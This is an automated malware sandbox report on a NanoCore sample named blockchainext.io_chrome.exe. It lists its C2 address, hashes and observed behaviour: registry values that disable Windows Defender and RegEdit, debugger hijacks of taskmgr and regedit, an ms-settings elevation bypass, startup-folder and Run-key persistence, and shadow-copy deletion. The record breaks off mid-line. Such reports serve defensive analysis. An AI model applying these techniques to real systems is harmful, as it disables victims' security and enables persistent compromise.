Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
30/10/2026, 16:07
Behavioral task
behavioral1
Sample
blockchainext.io_chrome.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
41 signatures
150 seconds
Behavioral task
behavioral2
Sample
blockchainext.io_chrome.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target blockchainext.io_chrome.exe
- Size 57KB
- Sample261030-tkrrvszwex
- SHA256 d584450a6b1b16a8d179c0e5007d8a161f4bdfddc273c331ee28ad85a87c22c4
- MD5 3970db7c3260e6e97573c5ffbe9dc0bf
- SHA1 a40b8518212dbcbc2dcc026e17ade9c890b9ebd7
- SHA512 a5ad8b8caa568a2f175a7c9911fe6f74f88ce813cbf1d9364eeb2cd93800b78464b9545d496c6f1153af120e86cec4e30e26517215c33bd9f5a047c3166ad73e
- SSDEEP 768:uZBuYk8jca8GwpiM72xD6PveLrKsdLYMJ4DN1XXGb5fAdOTvFKFum1U:u/z83b2xD6P2dcG4DLXGb5feOTvFuuX
- TLSH T1AF43E84477FD4251E1BF8EBA8DB151418772B4679D32D38D06D4068E09B2B40CEA8F7B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://blockchainext.io
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://blockchainext.io
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 3 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/2692-0-0x00000000001C0000-0x00000000001D4000-memory.dmp disable_win_def behavioral1/memory/2692-1-0x000000001AD80000-0x000000001AD90000-memory.dmp disable_win_def behavioral1/files/0x0007000000024877-2265.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" blockchainext.io_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" blockchainext.io_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4792 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" blockchainext.io_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts blockchainext.io_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe blockchainext.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blockchainext.io_chrome.exe" blockchainext.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe blockchainext.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blockchainext.io_chrome.exe" blockchainext.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe blockchainext.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blockchainext.io_chrome.exe" blockchainext.io_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 4812 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\International\Geo\Nation blockchainext.io_chrome.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf blockchainext.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf blockchainext.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf blockchainext.io_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blockchainext.io_chrome.exe" blockchainext.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blockchainext.io_chrome.exe" blockchainext.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blockchainext.io_chrome.exe" blockchainext.io_chrome.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 1912 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe blockchainext.io_chrome.exe File created C:\Windows\system32\sysupdate.exe blockchainext.io_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe blockchainext.io_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 1192 wscript.exe 4796 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" blockchainext.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" blockchainext.io_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1940 sc.exe 1916 sc.exe 2468 sc.exe 1580 sc.exe 4260 sc.exe 3336 sc.exe 3524 sc.exe 1260 sc.exe 292 sc.exe 5072 sc.exe 4020 sc.exe 376 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4596 cmd.exe 4324 cmd.exe 4800 cmd.exe 1572 cmd.exe 3052 cmd.exe 1260 cmd.exe 4332 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain blockchainext.io_chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname blockchainext.io_chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 644 NETSTAT.EXE 400 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3268 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 824 vssadmin.exe 3756 vssadmin.exe 1664 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\Desktop\WallpaperStyle = "2" blockchainext.io_chrome.exe - Modifies registry class 16 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\blockchainext.io_chrome.exe\" \"%1\"" blockchainext.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open\command blockchainext.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open\command blockchainext.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings blockchainext.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open blockchainext.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell blockchainext.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blockchainext.io_chrome.exe" blockchainext.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open blockchainext.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open blockchainext.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell blockchainext.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\.pdf\ = "PDFBotnet" blockchainext.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet blockchainext.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings blockchainext.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell blockchainext.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open\command\DelegateExecute blockchainext.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command blockchainext.io_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1992 schtasks.exe 4772 schtasks.exe 992 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4792 powershell.exe 4792 powershell.exe 4792 powershell.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe 2692 blockchainext.io_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2692 blockchainext.io_chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4792 powershell.exe Token: SeIncreaseQuotaPrivilege 2380 WMIC.exe Token: SeSecurityPrivilege 2380 WMIC.exe Token: SeTakeOwnershipPrivilege 2380 WMIC.exe Token: SeLoadDriverPrivilege 2380 WMIC.exe Token: SeSystemProfilePrivilege 2380 WMIC.exe Token: SeSystemtimePrivilege 2380 WMIC.exe Token: SeProfSingleProcessPrivilege 2380 WMIC.exe Token: SeIncBasePriorityPrivilege 2380 WMIC.exe Token: SeCreatePagefilePrivilege 2380 WMIC.exe Token: SeBackupPrivilege 2380 WMIC.exe Token: SeRestorePrivilege 2380 WMIC.exe Token: SeShutdownPrivilege 2380 WMIC.exe Token: SeDebugPrivilege 2380 WMIC.exe Token: SeSystemEnvironmentPrivilege 2380 WMIC.exe Token: SeRemoteShutdownPrivilege 2380 WMIC.exe Token: SeUndockPrivilege 2380 WMIC.exe Token: SeManageVolumePrivilege 2380 WMIC.exe Token: 33 2380 WMIC.exe Token: 34 2380 WMIC.exe Token: 35 2380 WMIC.exe Token: 36 2380 WMIC.exe Token: SeBackupPrivilege 3320 vssvc.exe Token: SeRestorePrivilege 3320 vssvc.exe Token: SeAuditPrivilege 3320 vssvc.exe Token: SeIncreaseQuotaPrivilege 2380 WMIC.exe Token: SeSecurityPrivilege 2380 WMIC.exe Token: SeTakeOwnershipPrivilege 2380 WMIC.exe Token: SeLoadDriverPrivilege 2380 WMIC.exe Token: SeSystemProfilePrivilege 2380 WMIC.exe Token: SeSystemtimePrivilege 2380 WMIC.exe Token: SeProfSingleProcessPrivilege 2380 WMIC.exe Token: SeIncBasePriorityPrivilege 2380 WMIC.exe Token: SeCreatePagefilePrivilege 2380 WMIC.exe Token: SeBackupPrivilege 2380 WMIC.exe Token: SeRestorePrivilege 2380 WMIC.exe Token: SeShutdownPrivilege 2380 WMIC.exe Token: SeDebugPrivilege 2380 WMIC.exe Token: SeSystemEnvironmentPrivilege 2380 WMIC.exe Token: SeRemoteShutdownPrivilege 2380 WMIC.exe Token: SeUndockPrivilege 2380 WMIC.exe Token: SeManageVolumePrivilege 2380 WMIC.exe Token: 33 2380 WMIC.exe Token: 34 2380 WMIC.exe Token: 35 2380 WMIC.exe Token: 36 2380 WMIC.exe Token: SeDebugPrivilege 2692 blockchainext.io_chrome.exe Token: SeIncBasePriorityPrivilege 2692 blockchainext.io_chrome.exe Token: SeDebugPrivilege 1912 tasklist.exe Token: SeDebugPrivilege 644 NETSTAT.EXE Token: SeDebugPrivilege 4720 whoami.exe Token: SeIncreaseQuotaPrivilege 4212 WMIC.exe Token: SeSecurityPrivilege 4212 WMIC.exe Token: SeTakeOwnershipPrivilege 4212 WMIC.exe Token: SeLoadDriverPrivilege 4212 WMIC.exe Token: SeSystemProfilePrivilege 4212 WMIC.exe Token: SeSystemtimePrivilege 4212 WMIC.exe Token: SeProfSingleProcessPrivilege 4212 WMIC.exe Token: SeIncBasePriorityPrivilege 4212 WMIC.exe Token: SeCreatePagefilePrivilege 4212 WMIC.exe Token: SeBackupPrivilege 4212 WMIC.exe Token: SeRestorePrivilege 4212 WMIC.exe Token: SeShutdownPrivilege 4212 WMIC.exe Token: SeDebugPrivilege 4212 WMIC.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2692 blockchainext.io_chrome.exe - Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 2692 wrote to memory of 4792 2692 blockchainext.io_chrome.exe 86 PID 2692 wrote to memory of 2468 2692 blockchainext.io_chrome.exe 87 PID 2692 wrote to memory of 1580 2692 blockchainext.io_chrome.exe 120 PID 2692 wrote to memory of 5072 2692 blockchainext.io_chrome.exe 92 PID 2692 wrote to memory of 4020 2692 blockchainext.io_chrome.exe 94 PID 2692 wrote to memory of 4260 2692 blockchainext.io_chrome.exe 96 PID 2692 wrote to memory of 3336 2692 blockchainext.io_chrome.exe 124 PID 2692 wrote to memory of 376 2692 blockchainext.io_chrome.exe 100 PID 2692 wrote to memory of 3524 2692 blockchainext.io_chrome.exe 102 PID 2692 wrote to memory of 4724 2692 blockchainext.io_chrome.exe 104 PID 2692 wrote to memory of 1260 2692 blockchainext.io_chrome.exe 128 PID 2692 wrote to memory of 1940 2692 blockchainext.io_chrome.exe 107 PID 2692 wrote to memory of 3756 2692 blockchainext.io_chrome.exe 109 PID 2692 wrote to memory of 2380 2692 blockchainext.io_chrome.exe 111 PID 4724 wrote to memory of 4568 4724 fodhelper.exe 114 PID 2692 wrote to memory of 4796 2692 blockchainext.io_chrome.exe 118 PID 2692 wrote to memory of 1992 2692 blockchainext.io_chrome.exe 119 PID 2692 wrote to memory of 4772 2692 blockchainext.io_chrome.exe 121 PID 2692 wrote to memory of 4332 2692 blockchainext.io_chrome.exe 126 PID 2692 wrote to memory of 1260 2692 blockchainext.io_chrome.exe 128 PID 2692 wrote to memory of 3052 2692 blockchainext.io_chrome.exe 129 PID 2692 wrote to memory of 1572 2692 blockchainext.io_chrome.exe 130 PID 2692 wrote to memory of 4800 2692 blockchainext.io_chrome.exe 131 PID 2692 wrote to memory of 4324 2692 blockchainext.io_chrome.exe 132 PID 2692 wrote to memory of 4596 2692 blockchainext.io_chrome.exe 133 PID 2692 wrote to memory of 992 2692 blockchainext.io_chrome.exe 134 PID 2692 wrote to memory of 1192 2692 blockchainext.io_chrome.exe 138 PID 1260 wrote to memory of 3268 1260 cmd.exe 143 PID 4324 wrote to memory of 400 4324 cmd.exe 144 PID 4332 wrote to memory of 1664 4332 cmd.exe 145 PID 4596 wrote to memory of 644 4596 cmd.exe 146 PID 3052 wrote to memory of 1912 3052 cmd.exe 147 PID 1572 wrote to memory of 4720 1572 cmd.exe 148 PID 4800 wrote to memory of 4112 4800 cmd.exe 149 PID 4112 wrote to memory of 460 4112 net.exe 150 PID 4332 wrote to memory of 4212 4332 cmd.exe 151 PID 2692 wrote to memory of 1896 2692 blockchainext.io_chrome.exe 152 PID 2692 wrote to memory of 824 2692 blockchainext.io_chrome.exe 154 PID 2692 wrote to memory of 2764 2692 blockchainext.io_chrome.exe 156 PID 2692 wrote to memory of 552 2692 blockchainext.io_chrome.exe 158 PID 2692 wrote to memory of 4812 2692 blockchainext.io_chrome.exe 160 PID 2692 wrote to memory of 1916 2692 blockchainext.io_chrome.exe 161 PID 2692 wrote to memory of 292 2692 blockchainext.io_chrome.exe 164 PID 552 wrote to memory of 1832 552 